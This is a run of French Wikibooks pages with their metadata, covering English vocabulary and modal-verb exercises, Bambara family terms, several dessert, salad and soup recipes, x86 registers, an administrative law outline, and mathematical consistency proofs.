films, les pièces et la télévision'')</font size="+2"></center>== ====Verbe : To watch==== {| class="wikitable" ! colspan=2 | '''to watch''' (''regarder'') |- |I watch||we watch |- |you watch||you watch |- |he/she watches||they watch |} ====Vocabulaire : What do you watch? (''Que regardez-vous ?'')==== <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr ><td> to watch a movie (at home) </td><td> regarder un film (chez soi) </td><td> <tr ><td> to go to the movies </td><td> aller au cinéma </td><td> <tr ><td> a movie theater </td><td> un cinéma </td><td> <tr ><td> a comedy </td><td> un film comique </td><td> <tr ><td> a drama </td><td> une comédie </td><td> <tr ><td> a thriller </td><td> un thriller </td><td> <tr ><td> a scary movie </td><td> un film d'horreur </td><td> <tr ><td> to see a play </td><td> aller voir une pièce de théâtre </td><td> <tr ><td> actor ; actress </td><td> comédien ; comédienne </td><td> <tr ><td> to act </td><td> jouer en scène </td><td> <tr ><td> the TV </td><td> la télé </td><td> <tr ><td> a TV show, a programme </td><td> une série </td><td> <tr ><td> a documentary </td><td> un documéntaire </td><td> <tr ><td> the TV news </td><td> le journal télévisé </td><td> </table> De plus en plus souvent, le terme ''actor'' s'utilise pour les hommes ainsi que les femmes. ==<font size="+2"></center>To play sports (''faire du sport'')</font size="+2"></center>== Notez que le verbe en anglais ''to play'' n'est pas suivi d'une préposition comme en français. ====Verbe : To play==== {| class="wikitable" ! colspan=2 | '''to play''' (''jouer'') |- |I play||we play |- |you play||you play |- |he/she plays||they play |} ====Vocabulaire : Les sports==== <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr ><td> athletics </td><td> l'athlétisme </td><td> <tr ><td> soccer, football </td><td> le football </td><td> <tr ><td> swimming </td><td> la natation </td><td> <tr ><td> scuba-diving </td><td> la plongée sous-marine </td><td> <tr ><td> skiing </td><td> faire du ski </td><td> <tr ><td> ice-skating </td><td> le patinage </td><td> <tr ><td> roller-skating </td><td> le patinage à roulettes </td><td> <tr ><td> horse-riding </td><td> l'équitation </td><td> </table> :'''Exemples''' He exercises every day. ''Il fait de l'exercice tous les jours.''<br />She goes jogging each Sunday. ''Elle fait du jogging chaque dimanche.''<br />He likes cycling. ''Il aime faire du vélo.'' En Angleterre le football s'appelle <i>football</i> mais aux Etats-Unis le football est un jeu différent. Donc, aux Etats-Unis le football s'appelle <i>soccer</i>. =Questions= {| class="wikitable" |- |What sports do you play?||À quel sport joues-tu ? |- |What is your favorite sport? ||Quel est ton sport préféré ? |- |Who is your favorite footballer? ||Qui est ton footballeur préféré ? |- |What are your favorite board games?||Quels jeux de société préfères-tu ? |- |What kind of films do you like best?||Quel genre de film préfères-tu ? |- |Who is your favorite actor?||Qui est ton(ta) comédien(ne) préféré(e) ? |- |What is your favorite movie of all time? ||Quel est ton film favori ? |- |Do you often go to the movies?||Vas-tu souvent au cinéma ? |- |What TV shows do you like to watch?||Quels séries de télé aimes-tu regarder ? |- |Do you watch the news on TV or read newspapers?||Regardes-tu les journaux télévisés ou lis-tu les journaux ? |- |What is your favorite book?||Quel est ton livre préféré ? |- |Which do you like better, reading or watching TV?||Que préfères-tu, lire ou regarder la télé ? |} ---- <br />Retour [[Enseignement de l'anglais]] Anglais exercices modaux 2708 42376 2006-05-15T17:39:03Z 213.245.206.197 /* Exercice 1 */ __NOTOC__ == Conjugaison == == Exercice 1 == Complétez les phrases suivantes avec le verbe de modalité approprié : # She _must______ be at home. (forte probabilité) # He do_______________ leave. (absence d'obligation) # When I was young, I ___can__ run for two hours. (capacité) # "_____ I open the door ?" (demande de permission) # "__Can____ you give me some butter ?" (demande polie) # "You are ill, you _________ stay at home." (conseil) # ___Can___ you drive ? (capacité) == Solutions == ==== Conjugaison ==== ==== Exercice 2==== # can # doesn't have to # could # May # Could # should # Can <BR> Retour [[Enseignement de l'anglais]] Relations familiales (bambara) 2709 14284 2005-05-03T20:56:44Z 84.97.224.120 {{bambara}} '''si''' : famille, lignée '''masa si''': lignée royale '''fa''' : père '''i fa ka kéné?''': ton père va bien? '''ba''' : mère '''i ba ka kéné?''' : ta mère va bien? '''mo-kè''' : grand-père '''mo-muso''' : grand-mère ;'''den''' : enfant (par rapport aux parents); ;denw :enfants (pronunciation: ''de-un'') ;'''démisen''' : (par rapport à un adulte) '''denkè''' : fils '''denmuso''' : fille '''dogomuso''': jeune soeur ; jeune cousine '''dogokè''': jeune frère ; jeune cousin '''koromuso''': soeur aînée ; cousine aînée '''korokè''': frère aîné ; cousin aîné Il n'existe pas de mots précis pour nommer des relations de sang (à vérifier). On appelera le fils aîné d'un oncle ou d'un ami proche de la famille : korokè. La famille a ici un sens large et ne se limite pas aux liens de l'hérédité. Les oncles et les tantes sont considérés comme pères et mères. '''fatkè fitini''' : petit papa, oncle '''bamuso fitini''' : petite maman, tante Alors au mali, lorsque deux freres deviennent péres leurs enfants deviennes freres et soeur et pour ces enfants ils on deux péres mais si ils ont une soeur ce sera leur tantes et les enfants de cette soeur sont leurs neveux et nieces pour ces freres et leurs cousin pour leur enfant. exemple alors mamadou, Ibrahim, Fatou et Aminata sont freres et soeurs. Mamadou Ibrahim Fatou Aminata Bakari frere Mariam cousin Ousmane frere Coumba Oumar soeur Safi cousine Aly soeur Kaya Cuisine:Mousse au chocolat 2711 46025 2006-06-27T10:57:53Z 83.83.38.169 nl:, etc. La mousse au chocolat peut se déguster seule ou en accompagnement d'un dessert. == Ingrédients (pour 1 personne)== Pour deux personnes on double les proportions, pour trois personnes on triple ... *1 œuf *2 cuillères à soupe de sucre *2 barres de chocolat == Préparation == # Battre le jaune d'œuf et le sucre pour obtenir un mélange moelleux. # Faire fondre le chocolat au bain marie. L'ajouter au mélange jaune d'œuf-sucre. # Battre le(s) blanc(s) en neige et ajouter au mélange avec délicatesse. # Mettre au frais. {{Cuisine:Desserts}} [[de:Kochbuch/ Mousse au chocolat ohne Sahne]] [[de:Kochbuch/ Mousse au chocolat]] [[en:Cookbook:Chocolate Mousse]] [[lt:Receptai:Šokolado musas]] [[nl:Kookboek/Chocomousse]] Cuisine:Crèmes 2712 14286 2005-04-21T17:21:08Z Guillaumito 46 {{Cuisine:Desserts}} == Crème chantilly == ==== Ingrédients ==== * 100g de crème fraîche * 25g de sucre * 1 cuillère à soupe de lait ==== Préparation ==== # Mélanger le lait et la crème pour obtenir un lait épais. # Ajouter le sucre. Battre à la main avec un fouet pour obtenir une mousse ferme. == Crème anglaise == ====Ingrédients (pour 4 personnes)==== Ingrédients pour une recette riche : *1/2 litre de lait *6 jaunes d'œuf *125 g. de sucre *1 gousse de vanille Ingrédients pour une recette sucrée : *1/2 litre de lait *4 jaunes d'œuf *200 g. de sucre *1 gousse de vanille ou un sachet de sucre vanillé ==== Préparation ==== #Faites bouillir le lait avec une petite pincée de sel et la gousse de vanille (ou le sucre vanillé). Vous pouvez éventuellement fendre la gousse et en extraire les graines. #Dans un saladier, battez longuement les jaunes d'œuf (réservez les blancs) avec le sucre. Le mélange doit blanchir et devenir lisse et épais, on dit alors qu'il « forme ruban ». #Arrêtez la cuisson du lait et retirez la gousse de vanille, puis, versez peu à peu le lait bouillant dans le saladier de préparation et mélangez-le bien avec les jaunes d'œufs sucrés. #Reversez le tout dans la casserole et remettez à cuire sur feu doux, sans cesser de mélanger avec une cuillère en bois en veillant à ce que le fond n'attache pas. Attention, il ne faut pas arriver à ébullition, car la crème coagulerait et tournerait. Lorsque la crème épaissit et peut napper la cuillère en bois, elle est prête. Une méthode pour déterminer la fin de la cuisson est que la crème, passée dans une cuillère, doit montrer un trouble (tout petits fragments d'œuf cuit). #Mettez la crème à refroidir. Attention, ne mettez jamais une préparation chaude directement dans un frigidaire avant qu'elle ne soit parvenue à la température ambiante. ====Conseil==== Si par mégarde la crème venait à coaguler (ce qui ne change pas le goût mais elle est quand même nettement moins belle), verser la crème dans une bouteille, mettre le bouchon et secouer énergiquement jusqu'à obtenir un mélange lisse. Cela ne fonctionne pas toujours mais cette pratique peut permettre de rattraper des crèmes ayant légèrement tourné. == Crème patissière == ==== Ingrédients (pour deux personnes)==== * 1/4 de litre de lait * 2 jaunes d'oeufs * 50g de sucre * 25g de farine ==== Préparation ==== # Faire chauffer le lait. # Travailler les jaunes d'oeufs et le sucre jusqu'à ce que le mélange blanchisse. # Ajouter la farine. Verser le lait bouillant petit à petit. # Remettre sur feu doux et porter à ébullition. # Refroidir la crème dans un évier rempli d'eau froide. {{Cuisine:Desserts}} Cuisine:Cuire au bain-marie 2713 14287 2005-04-21T18:27:09Z Antoinel 182 <table><tr><td> == Principe == #Remplir une casserole d'eau jusqu'au 1/3 de son volume. Porter à ébullition. Lorsque l'ébullition est atteinte, couper le feu. #Placer l'aliment ou l'appreil à cuire dans une casserole plus petite et la faire flotter dans la grande casserole. == Utilisation == *On utilise le bain-marie pour faire fondre ou pour cuire un aliment qui craint le contact de la chaleur comme le chocolat. *On peut aussi utiliser le bain-marie pour tenir des aliments ou une préparation au chaud sans la faire brûler. Dans ce cas, sans attendre l'ébullition, on garde à feu doux.</td><td>[[Image:Bain-marie.JPG|300px]]</td></tr></table> == Conseils == Lorsqu'on utilise le bain-marie pour faire fondre du chocolat, il est important d'éteindre le feu après l'ébullition pour ne pas faire cuire celui-ci. <br /> {{Cuisine}} Programmation Assembleur x86 Registres 2714 14288 2005-03-15T14:07:04Z 193.49.124.107 /* Les registres de segment */ reformulation Dans l'architecture x86, le processeur comporte quatre registres de travail, six registres d'offset, six registres de segment, 1 registre d'état (''flags'') et un pointeur d'instruction. ==Les registres de travail== Les quatre registres de travail sont principalement utilisés pour stocker des résultats : # EAX : registre accumulateur (''accumulator register''). Utilisé pour les opérations arithmétiques et le stockage de la valeur de retour des appels systèmes. # EDX : registre de données (''data register''). Utilisé pour les opérations arithmétiques et les opérations d'entrée/sortie. # ECX : registre compteur (''counter register'') # EBX : registre de base (''base register''). Utilisé comme pointeur de donnée (située dans DS en mode segmenté). Ce sont des registres 32 bits; pour des raisons historiques, les 16 bits de poids faible sont constitués respectivement des registres AX, DX, CX et BX. ==Les registres d'offset== ==Les registres de segment== La gestion de la mémoire dans l'architecture x86 est particulière : celle-ci est divisée en segments. Les registres de segment permettent d'accéder, soit le segment de programme qui est la zone mémoire des instructions de programme, soit le segment de données (zone mémoire contenant les données du programme), ou encore le segment de pile. # CS : pointe vers les instructions du programme (''code segment''). # DS : pointe vers les données du programme (''data segment''). # SS : pointe vers la pile programme (''stack segment''). # ES : pointe vers les données du programme multi-segments (''extra segment''). # FS : pointe vers les données du programme multi-segments en mode protégé. # GS : pointe vers les données du programme multi-segments en mode protégé. La gestion de mémoire en multi-segments permet d'utiliser tous les registres d'offset. La plupart des systèmes d'exploitation actuels utilisent un mode protégé où tous les registres de segment pointent vers le même segment. ==Le registre d'états== EFLAGS ==Le pointeur d'instruction== EIP Cuisine:Entrées 2717 14291 2005-06-21T09:20:14Z Antoinel 182 /* Salades */ * [[Cuisine:soupes, potages|Soupes, potages]] __NOTOC__ # Soupe à l'oignon # Soupe au potiron # Soupe aux poireaux # Velouté de champignons aux lardons == Salades == === Salade niçoise === ==== Ingrédients (pour 6 personnes)==== * 10 tomates moyennes * 1 beau concombre * 200 g de petites fèves fraîches * 12 petits artichauts frais du pays coupés en rondelles * 2 poivrons verts * 6 petits oignons blancs * 6 feuilles de basilic * 1 gousse d’ail * 3 œufs durs * 12 filets d’anchois (ou bien 1 boîte de thon de 300 grammes) * 100 g d’olives noires de Nice * Huile d’olive * Sel - poivre === Préparation === # Couper les tomates en quartiers et les saler légèrement une première fois sur la planche. Couper aussi les œufs en quartiers ou en rondelles. Détailler les filets d’anchois en trois ou quatre morceaux chacun (ou bien, s’il s’agit de thon, le mettre en charpie). Trancher finement le concombre épluché. Émincer en anneaux très fins les poivrons verts, ainsi que les oignons frais et les artichauts ou les févettes. # Frotter le fond et les parois d’un grand saladier, avec la gousse d’ail coupée en deux, verser tous les ingrédients à l’intérieur, à l’exception des tomates. # Égoutter les tomates et les resaler légèrement avant de les incorporer. # Faire une sauce avec 6 cuillerées à soupe d’huile d’olive, le basilic haché finement, poivre et sel. Bien rafraîchir au réfrigérateur avant de servir. === Salade russe au poulet === ==== Ingrédients ==== * Viande de poulet fumé ou cuit * Cornichons russes aigre-doux * 6 pommes de terre cuites * 1 boîte de petits pois * 1 pomme * 4 œufs * 1 oignon * mayonaise et assaisonnement suivant le goût ==== Préparation ==== # Cuire les œufs et les pommes de terre. # Couper tous les ingrédients en petits morceaux, mélanger le tout, et servir froid... Bon appétit ! == Légumes == === Curry d'aubergines === ====Ingrédients (pour deux personnes) ==== * Une grosse aubergine * Une cuillere à soupe d'huile d'olive * Autant de beurre (qu'on peut remplacer par de la crème fraîche) * Une noisette de curry en pot * De l'eau ====Préparation==== * Temps estimé de préparation 15 minutes]]. * Faites chauffer de l'eau dans une poêle, y faire fondre le beurre accompagné de l'huile et du curry, le tout doit être bien mélangé. * Quand c'est chaud, couper l'aubergine en rondelles dans la poêle. * Faites cuire les aubergines jusqu'à ce qu'elles soient bien grillées des deux côtés et que toute l'eau soit absorbée par les aubergines. Attention, ne pas trop les cuire sinon elles seront très amères. === Tomates farcies au thon === ==== Ingrédients (pour 4 personnes)==== * 4 tomates * 150g de thon * 1 oeuf * 3 cuillères à café de mayonnaise * olives (facultatif) ==== Préparation ==== # Faire cuire un oeuf dur. # Couper les tomates en deux et les vider. # Egoutter le thon avant de l'écraser et de le mélanger avec la mayonnaise. # Farcir les tomates avec le thon. # Servir deux demi-tomates par personnes décorées avec les olives et un quart d'oeuf dur. <br /> ---- Retour au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:soupes, potages 2718 14292 2005-06-21T09:34:43Z Antoinel 182 __NOTOC__ == Soupe aux oignons == == Soupe aux potiron == ==== Ingrédients ==== * 1/4 de potiron * 4 pommes de terre * 1l d'eau * sel, poivre * crème fraîche (facultatif) ==== Matériel ==== * une cocote * un mixer à soupe * un couteau économe ==== Préparation ==== # Retirer la peau et les filaments du potiron. Couper la chair en petit cube. # Eplucher et couper les pommes de terre. # Faire cuire les deux aliments esemble dans une cocote. # Mixer le tout. # Servir accompagné de crème fraîche suivant les goûts. == Velouté de champignons aux lardons == ====Ingrédients==== *100 g de lardons fumés *200 g de champignons frais *400 g de pommes de terre en dés *2 cuillères à soupe d'huile d'olive *1 oignon *2 gousses d'ail *1,2 l de bouillon de poulet *1 brin de persil *1 dl de crème fraîche *sel et poivre ====Préparation==== #Laver et éplucher les champignons. Conserver. #Faire revenir les lardons et quelques champignons avec un peu d'huile d'olive. #Eplucher et couper en dés les pommes de terre, l'oignon et les gousses d'ail. Les faire revenir dans une cocote avec le restant d'huile. Ajouter le reste des champignons. #Verser le bouillon chaud dans la cocote et laisser cuire vingt minutes. Ajouter le persil et passer au mixer. Saler et poivrer. #Verser dans les assiettes avec un peu de lardons et de champignon. Rajouter de la crème fraîche selon les goûts. == Soupe méditerranéenne de tomates == ==== Ingrédients ==== * 1 kg de tomates bien mûres, pelées, épépinées et coupées en morceaux * 2 blancs de poireaux taillés en fines lamelles * 2 gousses d'ail, 1 bouquet garni, 3 branches de basilic, * 2 cuillers à soupe d'huile d'olive, sel et poivre ==== Préparation ==== # Dans une cocotte à fond épais, mettez les blancs de poireaux en fines lamelles, les tomates coupées en morceaux, le bouquet garni, ail, salez et poivrez, puis faites cuire à feu moyen, jusqu'à ce que cela commence à bouillir. # Ajoutez 1 litre d'eau er laissez cuire à feu moyen durant trois-quart d'heure. # Ajoutez dans la préparation 3 branches de basilic et 2 cuillers à soupe d'huile d'olive, puis mixez la préparation # Placez au réfrégirateur votre soupe pendant au moins 12 heures avant de servir. ---- Retour [[Cuisine:Entrées]] ---- Vocabulaire (bambara) 2721 25485 2005-11-15T15:36:32Z Guaka 165 +en {{bambara}} * [[Nombres (bambara)|Nombres]] * [[Relations familiales (bambara)|Relations familiales]] * [[Animaux (bambara)|Animaux]] ==Diverse== <!-- à deplacer plus tard, quand il y aura beaucoup :) --> ;fɔli :musique == Astronomie == ;tile : soleil ;kalo : lune ;lolo : étoile <!-- fait par adama le 26/04/05--> [[en:Bambara/Vocabulary]] Droit administratif 2725 41190 2006-04-29T15:44:12Z Pseudomoi 395 == Avant-propos == Ce Wikilivre est un ouvrage d'initiation et de référence pour l'apprentissage du [[w:droit administratif|droit administratif]]. La discipline étant d'un abord ardu, plus encore que les autres branches du droit, ce Wikilivre s'adresse aux lecteurs motivés; en revanche, aucune connaissance préalable en droit n'est indispensable. Ce livre ambitionne de devenir un manuel de cours de droit administratif de niveau universitaire (à partir de Bac+1), tant pour la [[Wikiversité]] que pour les cursus de droit «du monde réel». Cela signifie que bien qu'il soit parfaitement possible de le lire «comme un roman» en guise d'introduction au sujet, l'objectif affiché de ce Wikilivre est d'aider un étudiant à passer les épreuves de droit administratif dans les différents examens et concours universitaires ou professionnels français qui en comportent. Dans cette optique, il est divisé en deux grandes parties : une partie '''Théorie''' qui comprend des cours magistraux et des questionnaires récapitulatifs par chapitre, et une partie '''Guide de l'étudiant''' qui contient des conseils et connaissances beaucoup plus ciblés et... plus directement rentables pour l'étudiant dans une optique de réussite aux examens et aux concours ! == Introduction == === [[Droit administratif/Par où commencer ?|Par où commencer ?]] === Pour un curieux, pour un étudiant, pour un Wikiauteur : comment prendre ce Wikilivre par le bon bout. L'idéal étant de jouer successivement ces trois rôles ! Bibliographie «papier» et liens Web pour tenir jusqu'à ce que ce Wikilivre soit suffisamment développé... === [[Droit administratif/Lexique|Lexique et abréviations]] === == Théorie == === [[Droit administratif/Introduction|Introduction au droit administratif]] === Qu'est-ce que le droit administratif ? Distinction par rapport aux autres branches du droit. Les juridictions administratives. Le Conseil d'État. === [[Droit administratif/Sources|Sources du droit administratif]] === La Constitution de 1958; droit administratif et pouvoir exécutif. L'arrêt Blanco et la singularisation de la branche administrative du droit français. Histoire de l'introduction progressive des principes généraux en droit administratif; conception moderne de la hiérarchie des normes. Droit administratif français et droit Européen. === [[Droit administratif/Organisation administrative|Organisation administrative]] === === [[Droit administratif/L'acte administratif unilatéral|L'acte administratif unilatéral]] === === [[Droit administratif/Le contrat administratif|Le contrat administratif]] === == Manuel de l'étudiant == === [[Droit administratif/Conseils pédagogiques|Conseils pédagogiques]] === Comment apprendre, à partir de quels supports, comment réviser, où trouver des cours, exercices et annales (en sus du présent Wikilivre). === [[Droit administratif/La jurisprudence|La jurisprudence]] === À bachoter intensément une fois que le cours est compris. === [[Droit administratif/Les cursus|Les cursus universitaires]] === Les universités, les professeurs, les programmes, et les bonnes astuces pour réussir pour chacun d'eux... À mettre à jour chaque année ! === [[Droit administratif/Les épreuves|Les épreuves de droit administratif]] === Ce qui nous attend aux examens ! ==== [[Droit administratif/Les épreuves/Le commentaire d'arrêt avec questions|Le commentaire d'arrêt avec questions]] ==== ==== [[Droit administratif/Les épreuves/Le commentaire d'arrêt|Le commentaire d'arrêt]] ==== ==== [[Droit administratif/Les épreuves/Le cas pratique|Le cas pratique]] ==== [[Catégorie:Droit]][[Catégorie:Droit administratif|*]] Catégorie:Suppression 2726 25976 2005-11-24T17:30:05Z Marc 66 Cette catégorie regroupe les articles dont un contributeur a proposé la suppression. L'opportunité de cette suppression est discutée sur la page [[Wikilivres:Pages à supprimer]]. [[Catégorie:Maintenance]] Fondements des mathématiques : la cohérence des théories finitaires 2729 14300 2005-05-29T00:38:05Z Thierry Dugnolle 206 /* La construction d’un modèle de Finitaire1 */coquille ==La construction d’un modèle de Finitaire1== Pour prouver que Finitaire1 est cohérente il suffit de lui trouver un modèle. La construction de l’ensemble des formules atomiques est la partie un peu difficile de la preuve. Dès que cet ensemble est défini, la preuve que tous les axiomes de Finitaire1 sont vrais pour ce modèle est aussi triviale que la preuve formelle de la vérité des axiomes de l’arithmétique formelle. Il suffit d’écrire les définitions, d’appliquer des règles logiques simples pour déduire formellement des évidences naturelles et on obtient le théorème de cohérence au bout de quelques dizaines de pages. Nous verrons que pour construire un modèle de Finitaire1 convenable pour formaliser la preuve de cohérence, il faut élargir son ontologie. Un seul axiome d’existence supplémentaire suffit. Infini4 Si x est un X-terme et f est une fonction alors Ensemble induit par f à partir de x est un X-terme Plus exactement, la formule généralisée et close obtenue à partir de cette règle est choisie comme axiome. La théorie Finitaire2 est définie avec tous les axiomes de Finitaire1 et cet unique axiome supplémentaire. La définition d’un modèle de Finitaire2 est laissée en exercice. Elle ne pose pas de difficultés de principe. Il en va de même pour d’autres théories finitaires élargies. L’axiome supplémentaire de Finitaire2 permet de définir des fonctions qui incluent une ou plusieurs inductions infinies dans leur définition. Cela permet de construire des ensembles par des inductions infinies sur des constructions par induction infinie. C’est exactement ce dont nous aurons besoin pour définir un modèle de Finitaire1. Parmi les 27 prédicats fondamentaux de Finitaire1, tous sauf quatre, “est dans”, “=”, “est vrai” et “est faux” ne posent aucune difficulté. L’ensemble de toutes les vérités atomiques formulées avec ces 23 prédicats est énumérable. Il est engendré avec les règles de production de Enum et les règles supplémentaires de Finitaire1. Tous les axiomes de Finitaire1 qui traduisent ces règles sont évidemment vrais quand on prend cet ensemble de vérités atomiques comme modèle. Les vérités atomiques formulées avec “est vrai” et “est faux” peuvent toutes être obtenues à partir des vérités atomiques d’égalité et d’appartenance, par la même technique qui sert à construire l’ensemble des vérités à partir d’un modèle Les égalités entre expressions formelles, qu’elle soient nommées directement ou par l’intermédiaire d’une fonction numérique, sont également toutes énumérables. Il nous suffit donc définir l’ensemble des vérités atomiques d’appartenance et d’égalités entre ensembles. Pour définir un modèle de Finitaire1, on part de Enum et on le complète pour inclure toutes les vérités atomiques sur les ensembles définis par l’extension de prédicats avec négation. Nous allons raisonner par induction sur la complexité des définitions d’ensembles. Celle-ci est mesurée par deux indices, appelés ici complexités fonctionnelle et formelle. Si un prédicat finitaire ne contient pas de fonctions ensemblistes dans sa définition, sa complexité fonctionnelle est zéro. Toutes les fonctions ensemblistes définies par des prédicats de complexité fonctionnelle n sont également de complexité fonctionnelle n. Si un prédicat finitaire contient des fonctions ensemblistes de complexité fonctionnelle n dans sa définition et si toutes les autres fonctions ensemblistes qu’il contient sont de complexité fonctionnelle inférieure à n alors il est de complexité fonctionnelle n+1. La complexité formelle d’un prédicat est le nombre maximal d’opérateurs emboîtés, Et, Ou, Non, (il existe un...tel que...), qu’il contient. Les prédicats atomiques sont de complexité formelle zéro. Définissons une ontologie ensembliste progressive O(n) de la façon suivante. O(0) est l’ontologie ensembliste de Enum, c’est à dire l’ensemble de tous les ensembles, de toutes les expressions formelles, et de toutes leurs listes finies, qui ont un nom dans Enum. O(n+1) est l’ensemble de tous les êtres qui satisfont à l’une des trois conditions suivantes. (i) être dans O(n) (ii) être égal à Ensemble induit par g à partir de x, où x est dans O(n) et g est n’importe quelle fonction de Finitaire1 telle que toutes les constantes qui entrent dans sa définition sont dans O(n). Appelons O1(n+1) l’ensemble de toutes les listes finies d’êtres qui satisfont (i) ou (ii). (iii) être égal à Image par f de x où x est dans O1(n+1) et f est n’importe quelle fonction de Finitaire1 telle que toutes les constantes qui entrent dans sa définition sont dans O1(n+1) L’ontologie de Finitaire1 est obtenue en prenant la somme des O(n) pour tous les nombres entiers positifs n. Comme toutes les définitions de Finitaire1 sont prédicatives, nous pourrons montrer que les éléments d’un ensemble de O(n) sont toujours ou bien des expressions formelles ou bien des ensembles de O(n). On voit ici l’importance des définitions prédicatives dans la définition de notre ontologie progressive. Elles permettent d’associer à la progression ontologique un ordre dans la production des vérités. At(n) est l’ensemble des assertions atomiques de degré n. At(n) contient toutes les égalités vraies ou fausses entre éléments de O(n) et tous les énoncés d’appartenance d’un élément de O(n) à un élément de O(n). Vat(n) est l’ensemble des vérités atomiques de degré n (appartenances et égalités) associées à O(n). Vat(0) =def toutes les vérités atomiques d’appartenance et toutes les égalités entre expressions formelles et entre ensembles définis dans Enum. Nous allons définir une fonction qui permet de construire Vat(n+1) à partir de Vat(n). La somme Vat des Vat(n) sera le modèle cherché de Finitaire1. A partir de Vat(n) il est aisé de produire Vat1(n+1), l’ensemble de toutes les vérités atomiques sur les éléments de O1(n+1) pour les raisons suivantes. Comme la complexité d’un X-terme est arbitrairement grande, les images d’un élément de O(n) par une fonction itérée un nombre de fois aussi grand que l’on veut sont toujours dans O(n). On peut donc produire à partir de Vat(n) toutes les vérités atomiques d’appartenance à (Ensemble induit par f à partir de x) pour n’importe quel x dans O(n) et n’importe quel f qui satisfait aux conditions citées en (ii). On peut alors définir l’ensemble de toutes les égalités entre ces ensembles induits et avec les éléments de O(n) et finalement toutes les égalités entre les listes finies d’éléments de O1(n+1). At1(n+1) est l’ensemble des assertions atomiques (appartenance ou égalité) vraies ou fausses sur les éléments de O1(n+1). Fat1(n+1) =def At1(n+1) Moins Vat1(n+1) , est l’ensemble des faussetés atomiques. Nous allons montrer qu’à partir de Vat1(n+1) et Fat1(n+1) on peut définir par une double induction infinie sur la complexité des prédicats l’ensemble Vat(n+1). Soit Vat(n+1, i, j) l’ensemble des vérités atomiques sur des ensembles définis par des prédicats de complexité fonctionnelle i ou inférieure, de complexité formelle j ou inférieure, et dont les constantes sont toutes dans O1(n+1). On définit de même At(n+1, i, j) et Fat(n+1, i, j) = At(n+1, i, j) Moins Vat(n+1, i, j). Vat(n+1, 0, 0) = Vat1(n+1) Vat(n+1, i, j+1) peut être construit à partir de Vat(n+1, i, j) et Fat(n+1, i, j). La même technique qui sert à définir l’ensemble des vérités à partir d’un modèle sert ici à remplir tous les ensembles définis avec des prédicats de complexité formelle j+1. Les égalités entre ces ensembles et avec les ensembles précédemment définis sont alors déterminées par l’axiome d’extensionalité. Vat(n+1, i+1, 0) peut être construit lorsque les Vat(n+1, i, j) ont tous été définis, parce que toutes les vérités atomiques sur les images par des fonctions de complexité fonctionnelle i ont été précédemment déterminées. Vat(n+1) =def Somme des Vat(n+1, i, j) pour i et j entiers positif Vat =def Somme des Vat(n) pour n entier positif. Vat est définie avec une induction infinie par la fonction qui produit Vat(n+1) à partir de Vat(n). Mais cette fonction requiert elle-même une induction infinie dans sa définition. Cela montre le rôle de l’axiome supplémentaire de Finitaire2 pour cette construction du modèle Vat de Finitaire1. ==La vérité des axiomes de Finitaire1 dans ce modèle== ==Remarques générales sur la cohérence des théories finitaires== Fondements des mathématiques : une preuve naturelle de la cohérence de l'arithmétique formelle 2730 14301 2005-02-28T02:42:25Z Thierry Dugnolle 206 une preuve naturelle de la cohérence de l'arithmétique formelle Cette section expose des axiomes pour l’arithmétique formelle et une preuve naturelle de leur cohérence. ===Les axiomes de l’arithmétique formelle=== L’arithmétique formelle AF va être définie par un système d’axiomes. AF est l’ensemble de toutes les formules qui sont ou bien des axiomes, ou bien des conséquences logiques des axiomes. Pour prouver que AF est cohérente, il suffira de prouver que tous ses axiomes sont vrais pour un même modèle. Nous allons commencer par rappeler la définition d’un modèle naturel pour AF, l’ensemble VAF0 des vérités atomiques de AF. Nous choisirons alors des axiomes adaptés à la définition de VAF0 et nous prouverons par un raisonnement naturel que ces axiomes sont vrais pour VAF0. VAF0 est défini avec un objet de base, 0, un opérateur unaire s, la fonction de succession, deux opérateurs binaires, + et . , l’addition et la multiplication, et deux prédicats binaires fondamentaux, = et <. L’unique formule initiale de VAF0 est 0=0. Ses règles de production sont les suivantes. R1 si x=y alors sx=sy R2 si x=y alors x<sy R3 si x<y alors x<sy R4 si x=y alors x+0=y R5 si x+y=z alors y+x=z R6 si x+y=z alors x+sy=sz R7 si x=x alors x.0=0 R8 si x.y=z alors y.x=z R9 si x.y=z alors x.sy=z+x R10 si x=y alors y=x R11 si x=y et y=z alors x=z R12 si x=y et y<z alors x<z R13 si x=y et z<y alors z<x Les éléments de VAF0 sont toutes les formules que l’on peut déduire de 0=0 en appliquant un nombre fini de fois les règles précédentes. Pour obtenir les axiomes de AF, on peut commencer par traduire les règles de production en formules généralisées, c’est à dire qu’elles commencent par un opérateur de généralisation, et closes, c’est à dire sans variables libres. Par exemple, la première règle est traduite par la formule suivante. AF1 (pour tout x)(pour tout y)(si x=y alors sx=sy) On obtient ainsi treize axiomes. Il faut leur ajouter les deux suivants si l’on veut prouver des négations de faussetés atomiques. AF14 (pour tout x)(pour tout y)(si x<y alors non(x=y)) AF15 (pour tout x)(pour tout y)(si (x=y ou x<y) alors non(y<x)) < a été choisi comme prédicat fondamental justement pour que les axiomes de la négation des faussetés atomiques puissent être mis sous une forme aussi simple. Ces quinze axiomes ne suffisent pas parce qu’aucun d’entre eux ne dit que tous les nombres entiers sont obtenus à partir de 0 et d’un nombre fini d’applications de l’opérateur de succession. Pour exprimer cette propriété essentielle de tous les nombres, on a besoin du principe d’induction complète. On peut l’énoncer de la façon suivante. Pour toute propriété P des nombres, *si P est vraie de 0 *et si pour tout nombre x, si P est vraie de x alors P est vraie de sx alors pour tout nombre x, P est vraie de x Les propriétés P des nombres peuvent être identifiées aux prédicats de AF, c’est à dire aux formules arithmétiques qui contiennent des variables libres. Ces prédicats peuvent être considérés comme les ensembles de l’arithmétique formelle. (il existe un y tel que x=2.y) est par exemple un nom pour l’ensemble des nombres pairs. On ne peut pas traduire le principe d’induction complète par une seule formule de l’arithmétique formelle parce que l’univers arithmétique est réduit aux nombres. Quand on dit, pour tout x, dans l’arithmétique formelle, cela veut dire, pour tout nombre x. On ne peut donc pas dire, pour toute propriété P des nombres. Pour résoudre ce problème, il faut alors traduire le principe d’induction complète par un schéma d’axiomes, un cadre formel qui détermine un nombre infini de formules qui sont toutes adoptées comme axiomes. Il y a autant d’axiomes d’induction complète qu’il y a de prédicats arithmétiques. Soit P(x, y1, ..., yn) un prédicat qui contient x, y1, ...., yn comme variables libres, et elles seulement. La formule suivante est un axiome. Pour tous y1, ...., yn, *si P(0, y1, ..., yn), *et si pour tout x, si P(x, y1, ..., yn), alors P(sx, y1, ..., yn) alors pour tout z, P(z, y1, 